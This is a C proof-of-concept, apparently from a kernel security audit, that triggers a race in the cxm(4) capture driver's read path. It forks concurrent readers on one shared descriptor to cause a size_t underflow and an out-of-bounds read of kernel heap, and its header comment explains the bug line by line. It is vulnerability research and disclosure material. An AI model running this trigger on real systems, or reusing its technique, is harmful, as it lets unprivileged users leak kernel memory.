/*
 * DF-3941 PoC trigger — cxm(4) ring-buffer race -> size_t underflow -> OOB read
 *
 * Target: sys/dev/video/cxm/cxm.c cxm_read() (lines 2211-2299)
 *
 * Bug summary (see VERDICT.md):
 *  - /dev/cxmN is created 0444 (cxm.c:1885-1886) => any unprivileged user can
 *    open it.  cxm_open() only refuses a *second open* (is_opened, cxm.c:2158);
 *    sharing ONE open fd via fork() gives N concurrent cxm_read() callers.
 *  - cxm_read() consumes the DMA ring with no serialization: the crit section
 *    (cxm.c:2244-2260) only guards the tsleep and the pointer snapshot; the
 *    whole fixup+uiomove loop (2262-2288) and the offset/read bookkeeping
 *    (2290-2296) run unlocked.
 *  - enc_pool.offset is ONE shared size_t for the whole ring.  A partially
 *    consumed buffer i leaves offset = X (< size_i); the pair (offset, read) is
 *    saved non-atomically.  A racing thread that fully consumes buffer i saves
 *    offset = 0 and advances read -> j.  A third context that read offset
 *    (line 2262) *before* that save but reads the read-pointer (for-init, line
 *    2264) *after* the advance computes
 *          nbytes = bufs[j].size - offset;            (cxm.c:2270)
 *    which UNDERFLOWS (size_t) whenever X > size_j, is then clamped only by
 *    uio_resid (2273-2274) and handed to
 *          uiomove(vaddr_j + offset, nbytes, uio);    (cxm.c:2276)
 *    => kernel-heap disclosure past the 61440-byte (CXM_SG_SEGMENT) DMA buffer.
 *  - The simpler double-consume / METEORCAPTUR-restart interleavings desync
 *    read past write, so read() returns buffers never written by DMA:
 *    bus_dmamem_alloc() memory (cxm.c:1806-1809) that was never zeroed.
 *
 * Success criterion on real hardware (CX23416 card, capture running):
 *  - read() returns data whose length/content cannot come from the ring
 *    (e.g. non-MPEG garbage, kernel pointers), or
 *  - the racing processes observe more consumable bytes than the ring holds.
 *
 * On the audit QEMU guest there is no CX23416 PCI device: open() fails and we
 * document that (expected here: "open: No such file or directory").
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <dev/video/meteor/ioctl_meteor.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define DEV "/dev/cxm0"
#define NREADERS 4

int
main(void)
{
	int fd;
	int i;
	int cap = METEOR_CAP_CONTINOUS;
	pid_t pid;

	fd = open(DEV, O_RDONLY);
	if (fd < 0) {
		printf("[-] open(%s): %s\n", DEV, strerror(errno));
		printf("[-] no cxm device on this machine "
		    "(needs Conexant CX23415/CX23416 PCI card)\n");
		return (1);
	}
	printf("[+] opened %s\n", DEV);

	/* start continuous capture so DMA interrupts advance enc_pool.write */
	if (ioctl(fd, METEORCAPTUR, &cap) < 0)
		printf("[!] METEORCAPTUR(CONTINOUS): %s (continuing)\n",
		    strerror(errno));

	/* reader children: mixed short/long reads to leave partial offsets */
	for (i = 0; i < NREADERS; i++) {
		pid = fork();
		if (pid == 0) {
			unsigned char buf[70000];
			size_t sz;
			ssize_t n;
			unsigned long total = 0, odd = 0;

			srandom(getpid());
			for (;;) {
				/* short reads => frequent partial-buffer offsets */
				sz = (random() % 3 == 0) ? 1000 :
				    1000 + random() % 60000;
				n = read(fd, buf, sz);
				if (n < 0) {
					if (errno != EINTR)
						_exit(2);
					continue;
				}
				total += n;
				/*
				 * crude anomaly detector: MPEG program streams
				 * start with 0x000001 pack headers; count
				 * obviously non-MPEG bulk data
				 */
				if (n >= 4 && buf[0] == 0 && buf[1] == 0 &&
				    buf[2] == 1)
					/* pack/system header */;
				else
					odd++;
				if (odd > 64) {
					printf("[!] pid %d: %lu/%lu bytes not "
					    "MPEG-framed (possible kernel heap "
					    "leak)\n", getpid(), odd, total);
					_exit(42);
				}
			}
		}
	}
	printf("[*] %d racing readers running (kill with ^C)\n", NREADERS);
	pause();
	return (0);
}
